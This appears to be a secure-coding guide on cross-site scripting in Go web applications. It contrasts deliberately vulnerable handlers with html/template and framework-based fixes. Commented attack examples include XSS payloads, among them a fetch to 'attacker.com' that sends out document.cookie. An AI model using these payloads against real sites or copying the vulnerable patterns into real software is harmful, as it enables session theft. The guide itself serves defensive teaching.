Skip to content

CWE-79: Cross-Site Scripting (XSS) - Go

Overview

Cross-Site Scripting (XSS) in Go web applications occurs when untrusted data is included in HTML output without proper context-aware encoding. Go's standard library provides robust XSS protection through the html/template package, which automatically escapes content based on context (HTML body, attributes, JavaScript, CSS, URLs). However, developers can compromise this protection by using text/template for HTML, manually constructing HTML strings, or disabling auto-escaping with template.HTML() type conversions.

Unlike frameworks with magic global escaping, Go requires developers to explicitly choose between html/template (auto-escaping, XSS-safe) and text/template (no escaping, for plain text). This design makes security intentions clear in code. The html/template package uses context-aware escaping - it detects whether data is being inserted into HTML element content, attribute values, JavaScript strings, CSS, or URLs, and applies the appropriate escaping for each context. This prevents both reflected and stored XSS attacks when used correctly.

The Go ecosystem includes several web frameworks (Gin, Echo, Fiber, Chi) that integrate with html/template or provide their own rendering engines. Most maintain safe-by-default behavior by wrapping html/template, but custom HTML construction, JSON responses rendered as HTML, or misuse of template features can introduce vulnerabilities. Understanding when escaping occurs (and when it doesn't) is critical for secure Go web applications.

Primary Defence: Use html/template for all HTML rendering (it auto-escapes by default), serve JSON responses with application/json content type for APIs, and never use text/template or string concatenation for HTML output.

Common Vulnerable Patterns

text/template for HTML Output

// VULNERABLE - text/template does not escape HTML
package main

import (
    "net/http"
    "text/template" // WRONG: Use html/template instead
)

func greetHandler(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")

    // DANGEROUS: text/template does not escape
    tmpl := template.Must(template.New("greet").Parse(`
        <html>
            <body>
                <h1>Hello, {{.Name}}!</h1>
            </body>
        </html>
    `))

    w.Header().Set("Content-Type", "text/html")
    tmpl.Execute(w, map[string]string{"Name": name})
}

// Attack example:
// GET /greet?name=<script>alert(document.cookie)</script>
// Output: <h1>Hello, <script>alert(document.cookie)</script>!</h1>
// Result: JavaScript executes in browser

Why this is vulnerable: text/template is designed for plain text output (config files, emails, etc.) and performs no HTML escaping. All template actions ({{.Name}}) output raw values, allowing attackers to inject <script> tags, event handlers (<img onerror=...>), or other HTML that executes in the victim's browser. The server sets Content-Type: text/html, instructing browsers to interpret the output as HTML, enabling XSS attacks.

String Concatenation for HTML

// VULNERABLE - Manual HTML construction
func userProfileHandler(w http.ResponseWriter, r *http.Request) {
    username := r.URL.Query().Get("user")
    bio := r.URL.Query().Get("bio")

    // DANGEROUS: String concatenation with user input
    html := "<html><body>"
    html += "<h1>Profile: " + username + "</h1>"
    html += "<p>Bio: " + bio + "</p>"
    html += "</body></html>"

    w.Header().Set("Content-Type", "text/html")
    w.Write([]byte(html))
}

// Attack example:
// GET /profile?user=admin&bio=<img src=x onerror=alert('XSS')>
// Output: <p>Bio: <img src=x onerror=alert('XSS')></p>
// Result: Image error handler executes JavaScript

Why this is vulnerable: String concatenation merges user input directly into HTML structure without escaping <, >, ", ', or &. Attackers inject HTML tags, JavaScript event handlers, or malicious attributes that execute when rendered. Unlike templating engines, string operations have no awareness of HTML context or security, making this approach inherently unsafe for web content.

template.HTML() Type Conversion

// VULNERABLE - Bypassing auto-escaping with template.HTML
import (
    "html/template"
    "net/http"
)

func commentHandler(w http.ResponseWriter, r *http.Request) {
    comment := r.URL.Query().Get("comment")

    // DANGEROUS: template.HTML marks string as safe, bypassing escaping
    tmpl := template.Must(template.New("comment").Parse(`
        <html><body>
            <div>{{.Comment}}</div>
        </body></html>
    `))

    data := map[string]interface{}{
        "Comment": template.HTML(comment), // Disables escaping!
    }

    w.Header().Set("Content-Type", "text/html")
    tmpl.Execute(w, data)
}

// Attack example:
// GET /comment?comment=<script>fetch('//attacker.com/steal?cookie='+document.cookie)</script>
// Result: Script executes, steals cookies

Why this is vulnerable: The template.HTML type signals to html/template that content is pre-sanitized and safe to render without escaping. When user input is converted to template.HTML, all auto-escaping is disabled, allowing injection of arbitrary HTML/JavaScript. This type should only be used for server-generated, trusted HTML (like from a sanitizer), never for user input. Similar unsafe types include template.JS, template.CSS, template.URL, and template.HTMLAttr.

fmt.Fprintf for HTML Output

// VULNERABLE - Using fmt for HTML generation
func searchHandler(w http.ResponseWriter, r *http.Request) {
    query := r.URL.Query().Get("q")

    // DANGEROUS: fmt.Fprintf writes unescaped content
    w.Header().Set("Content-Type", "text/html")
    fmt.Fprintf(w, "<html><body>")
    fmt.Fprintf(w, "<h1>Search Results for: %s</h1>", query)
    fmt.Fprintf(w, "<p>No results found.</p>")
    fmt.Fprintf(w, "</body></html>")
}

// Attack example:
// GET /search?q=<svg/onload=alert('XSS')>
// Output: <h1>Search Results for: <svg/onload=alert('XSS')></h1>
// Result: SVG onload event executes

Why this is vulnerable: fmt.Fprintf performs string formatting without HTML encoding, treating format specifiers (%s, %v) as plain text substitution. Special HTML characters (<, >, &, quotes) in user input become part of the HTML structure rather than text content. This enables tag injection, attribute injection, and JavaScript execution through various HTML vectors.

Secure Patterns

// SECURE - html/template auto-escapes in all contexts
package main

import (
    "html/template"
    "log"
    "net/http"
)

// Define templates with auto-escaping
var templates = template.Must(template.ParseGlob("templates/*.html"))

type PageData struct {
    Title   string
    Name    string
    Message string
    URL     string
}

func greetHandler(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    message := r.URL.Query().Get("message")

    data := PageData{
        Title:   "Greeting Page",
        Name:    name,
        Message: message,
    }

    // SECURE: html/template auto-escapes based on context
    err := templates.ExecuteTemplate(w, "greet.html", data)
    if err != nil {
        log.Printf("Template error: %v", err)
        http.Error(w, "Internal server error", http.StatusInternalServerError)
    }
}

// templates/greet.html:
/*
<!DOCTYPE html>
<html>
<head>
    <title>{{.Title}}</title>
</head>
<body>
    <!-- SECURE: Auto-escaped in HTML body -->
    <h1>Hello, {{.Name}}!</h1>

    <!-- SECURE: Auto-escaped in attribute -->
    <div id="msg-{{.Name}}" class="message">
        {{.Message}}
    </div>

    <!-- SECURE: Auto-escaped for JavaScript context -->
    <script>
        var userName = "{{.Name}}";  // Escaped for JS string
        console.log(userName);
    </script>
</body>
</html>
*/

Why this works: html/template automatically detects the context where data is inserted (HTML element, attribute value, JavaScript string, CSS, URL) and applies context-appropriate escaping. In HTML body, < becomes &lt;, preventing tag injection. In JavaScript strings, quotes and backslashes are escaped, preventing script injection. In attributes, quotes are escaped to prevent attribute breaking. The template engine parses HTML structure at parse time, making context detection reliable. This prevents both reflected and stored XSS with no additional code.

Context-Aware Escaping for All Contexts

// SECURE - html/template handles multiple contexts
import (
    "html/template"
    "net/http"
)

type FormData struct {
    SearchQuery string
    UserInput   string
    Redirect    string
    StyleColor  string
}

func formHandler(w http.ResponseWriter, r *http.Request) {
    data := FormData{
        SearchQuery: r.URL.Query().Get("q"),
        UserInput:   r.URL.Query().Get("input"),
        Redirect:    r.URL.Query().Get("redirect"),
        StyleColor:  r.URL.Query().Get("color"),
    }

    tmpl := template.Must(template.New("form").Parse(`
        <!DOCTYPE html>
        <html>
        <head>
            <title>Form Example</title>
            <style>
                /* SECURE: CSS context escaping */
                .custom { color: {{.StyleColor}}; }
            </style>
        </head>
        <body>
            <!-- SECURE: HTML body escaping -->
            <h1>Search: {{.SearchQuery}}</h1>

            <!-- SECURE: Attribute escaping -->
            <input type="text" value="{{.UserInput}}" placeholder="Enter text">

            <!-- SECURE: URL escaping -->
            <a href="/next?return={{.Redirect}}">Continue</a>

            <!-- SECURE: JavaScript context escaping -->
            <script>
                var query = "{{.SearchQuery}}";  // Escaped for JS
                var input = {{.UserInput | js}};  // Explicit JS escaping
            </script>
        </body>
        </html>
    `))

    tmpl.Execute(w, data)
}

Why this works: html/template tracks parsing state to determine context: HTML body contexts escape <>&"', attribute contexts additionally handle attribute delimiters, JavaScript strings escape quotes and backslashes while encoding newlines, CSS contexts restrict to safe characters, and URLs are percent-encoded. The | js pipeline explicitly requests JavaScript encoding if auto-detection needs override. Each context receives appropriate encoding, preventing injection regardless of where user data appears in the template.

Template Functions with Manual Escaping (Advanced)

// SECURE - Custom template functions with escaping
import (
    "html/template"
    "net/http"
    "strings"
)

func main() {
    funcMap := template.FuncMap{
        "safe": func(s string) template.HTML {
            // ONLY use after sanitization!
            return template.HTML(s)
        },
        "truncate": func(s string, length int) string {
            if len(s) > length {
                return s[:length] + "..."
            }
            return s
        },
        "escapeSlash": func(s string) string {
            // Custom escaping for specific needs
            return strings.ReplaceAll(s, "/", "\\/")
        },
    }

    tmpl := template.Must(template.New("custom").Funcs(funcMap).Parse(`
        <!DOCTYPE html>
        <html>
        <body>
            <!-- SECURE: Still auto-escaped before truncation -->
            <p>{{.Comment | truncate 100}}</p>

            <!-- SECURE: Custom escaping applied -->
            <script>
                var path = "{{.Path | escapeSlash}}";
            </script>
        </body>
        </html>
    `))

    http.HandleFunc("/custom", func(w http.ResponseWriter, r *http.Request) {
        data := map[string]string{
            "Comment": r.URL.Query().Get("comment"),
            "Path":    r.URL.Query().Get("path"),
        }
        tmpl.Execute(w, data)
    })

    http.ListenAndServe(":8080", nil)
}

Why this works: Custom template functions receive pre-escaped data when used in pipelines, preserving security. The truncate function operates on user data before HTML escaping is applied, but html/template still escapes the final output. The safe function demonstrates controlled use of template.HTML - it should only wrap content that has been through a proper HTML sanitizer (like bluemonday), never raw user input. Custom functions extend template capabilities while maintaining auto-escaping boundaries.

Framework-Specific Guidance

Gin Framework

// SECURE - Gin with html/template rendering
package main

import (
    "html/template"
    "net/http"

    "github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()

    // SECURE: Load html/template templates
    r.SetHTMLTemplate(template.Must(template.ParseGlob("templates/*")))

    r.GET("/user/:name", userHandler)
    r.GET("/api/user/:name", apiHandler) // JSON endpoint

    r.Run(":8080")
}

func userHandler(c *gin.Context) {
    name := c.Param("name")
    bio := c.Query("bio")

    // SECURE: Gin uses html/template, auto-escapes
    c.HTML(http.StatusOK, "user.html", gin.H{
        "Name": name,
        "Bio":  bio,
    })
}

// SECURE - JSON responses for APIs (no XSS risk)
func apiHandler(c *gin.Context) {
    name := c.Param("name")

    // SECURE: JSON response with correct content-type
    c.JSON(http.StatusOK, gin.H{
        "name":    name,
        "message": "User data",
    })
}

// templates/user.html:
/*
<!DOCTYPE html>
<html>
<head>
    <title>User Profile</title>
</head>
<body>
    <!-- SECURE: Auto-escaped -->
    <h1>{{.Name}}</h1>
    <p>{{.Bio}}</p>
</body>
</html>
*/

Why this works: Gin's c.HTML() method uses html/template for rendering, inheriting its auto-escaping behavior. Template data passed via gin.H maps is automatically escaped based on context when rendered. For API endpoints, c.JSON() sets Content-Type: application/json, preventing browsers from interpreting response as HTML even if it contains <script> tags. Separating HTML rendering (for web pages) from JSON responses (for APIs) provides defense-in-depth.

Echo Framework

// SECURE - Echo with custom template renderer
package main

import (
    "html/template"
    "io"
    "net/http"

    "github.com/labstack/echo/v4"
    "github.com/labstack/echo/v4/middleware"
)

// Custom template renderer
type Template struct {
    templates *template.Template
}

func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {
    // SECURE: Uses html/template
    return t.templates.ExecuteTemplate(w, name, data)
}

func main() {
    e := echo.New()

    // Set custom renderer using html/template
    e.Renderer = &Template{
        templates: template.Must(template.ParseGlob("views/*.html")),
    }

    e.Use(middleware.Logger())
    e.Use(middleware.Recover())

    // Security headers middleware
    e.Use(func(next echo.HandlerFunc) echo.HandlerFunc {
        return func(c echo.Context) error {
            c.Response().Header().Set("X-Content-Type-Options", "nosniff")
            c.Response().Header().Set("X-Frame-Options", "DENY")
            c.Response().Header().Set("Content-Security-Policy", "default-src 'self'")
            return next(c)
        }
    })

    e.GET("/profile", profileHandler)

    e.Logger.Fatal(e.Start(":8080"))
}

func profileHandler(c echo.Context) error {
    username := c.QueryParam("user")

    // SECURE: Echo renders with html/template
    return c.Render(http.StatusOK, "profile.html", map[string]interface{}{
        "Username": username,
    })
}

Why this works: Echo's custom renderer integrates html/template, maintaining auto-escaping for all rendered content. The security headers middleware adds defense-in-depth: X-Content-Type-Options: nosniff prevents MIME sniffing that could turn JSON into HTML, X-Frame-Options prevents clickjacking, and Content-Security-Policy restricts script sources to same origin, mitigating XSS impact even if encoding fails. Template rendering combined with CSP provides layered protection.

Chi Router with Template Helpers

// SECURE - Chi with template helper utilities
package main

import (
    "html/template"
    "net/http"

    "github.com/go-chi/chi/v5"
    "github.com/go-chi/chi/v5/middleware"
)

var tmpl *template.Template

func init() {
    // SECURE: Parse html/templates with custom functions
    funcMap := template.FuncMap{
        "safeHTML": func(s string) template.HTML {
            // WARNING: Only use with sanitized input
            return template.HTML(s)
        },
    }

    tmpl = template.Must(template.New("").Funcs(funcMap).ParseGlob("templates/*.html"))
}

func main() {
    r := chi.NewRouter()

    r.Use(middleware.Logger)
    r.Use(middleware.Recoverer)
    r.Use(setSecurityHeaders)

    r.Get("/post/{postID}", viewPost)

    http.ListenAndServe(":8080", r)
}

func setSecurityHeaders(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Security-Policy", "default-src 'self'; script-src 'self'")
        w.Header().Set("X-Content-Type-Options", "nosniff")
        w.Header().Set("X-XSS-Protection", "1; mode=block")
        next.ServeHTTP(w, r)
    })
}

func viewPost(w http.ResponseWriter, r *http.Request) {
    postID := chi.URLParam(r, "postID")
    comment := r.URL.Query().Get("comment")

    // SECURE: html/template auto-escapes
    err := tmpl.ExecuteTemplate(w, "post.html", map[string]interface{}{
        "PostID":  postID,
        "Comment": comment,
    })

    if err != nil {
        http.Error(w, "Template error", http.StatusInternalServerError)
    }
}

Why this works: Chi's middleware pattern allows centralized security header application to all responses. The CSP header (script-src 'self') blocks inline scripts and external script sources, significantly reducing XSS impact even if template escaping is bypassed. X-Content-Type-Options: nosniff prevents browsers from guessing content types, and X-XSS-Protection enables browser XSS filters (though CSP is the modern solution). Combined with html/template auto-escaping, this provides defense-in-depth.

Fiber Framework

// SECURE - Fiber with html/template engine
package main

import (
    "html/template"

    "github.com/gofiber/fiber/v2"
    "github.com/gofiber/template/html/v2"
)

func main() {
    // SECURE: Initialize Fiber with html/template engine
    engine := html.New("./views", ".html")

    app := fiber.New(fiber.Config{
        Views: engine,
    })

    // Security middleware
    app.Use(func(c *fiber.Ctx) error {
        c.Set("X-Content-Type-Options", "nosniff")
        c.Set("X-Frame-Options", "SAMEORIGIN")
        c.Set("Content-Security-Policy", "default-src 'self'")
        return c.Next()
    })

    app.Get("/", homeHandler)

    app.Listen(":8080")
}

func homeHandler(c *fiber.Ctx) error {
    username := c.Query("user")
    message := c.Query("msg")

    // SECURE: Fiber renders with html/template
    return c.Render("index", fiber.Map{
        "Username": username,
        "Message":  message,
    })
}

// views/index.html:
/*
<!DOCTYPE html>
<html>
<body>
    <!-- SECURE: Auto-escaped -->
    <h1>Welcome, {{.Username}}!</h1>
    <p>{{.Message}}</p>
</body>
</html>
*/

Why this works: Fiber's template/html package wraps Go's html/template, preserving auto-escaping while providing framework-specific conveniences. The c.Render() method passes data to templates where context-aware escaping is applied. Security headers are set globally via middleware for consistent protection across all routes. The framework handles response content types correctly, ensuring HTML templates render as HTML and JSON responses have appropriate headers.

Content Security Policy (Defense in Depth)

// SECURE - CSP middleware for additional XSS protection
package main

import (
    "html/template"
    "net/http"
)

func cspMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // Strict CSP policy
        csp := "default-src 'self'; " +
            "script-src 'self'; " +
            "style-src 'self' 'unsafe-inline'; " + // Consider using nonces
            "img-src 'self' data: https:; " +
            "font-src 'self'; " +
            "connect-src 'self'; " +
            "frame-ancestors 'none'; " +
            "base-uri 'self'; " +
            "form-action 'self'"

        w.Header().Set("Content-Security-Policy", csp)
        w.Header().Set("X-Content-Type-Options", "nosniff")
        w.Header().Set("X-Frame-Options", "DENY")
        w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")

        next.ServeHTTP(w, r)
    })
}

func main() {
    mux := http.NewServeMux()

    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        tmpl := template.Must(template.ParseFiles("index.html"))
        tmpl.Execute(w, nil)
    })

    // Wrap with CSP middleware
    http.ListenAndServe(":8080", cspMiddleware(mux))
}

Additional Resources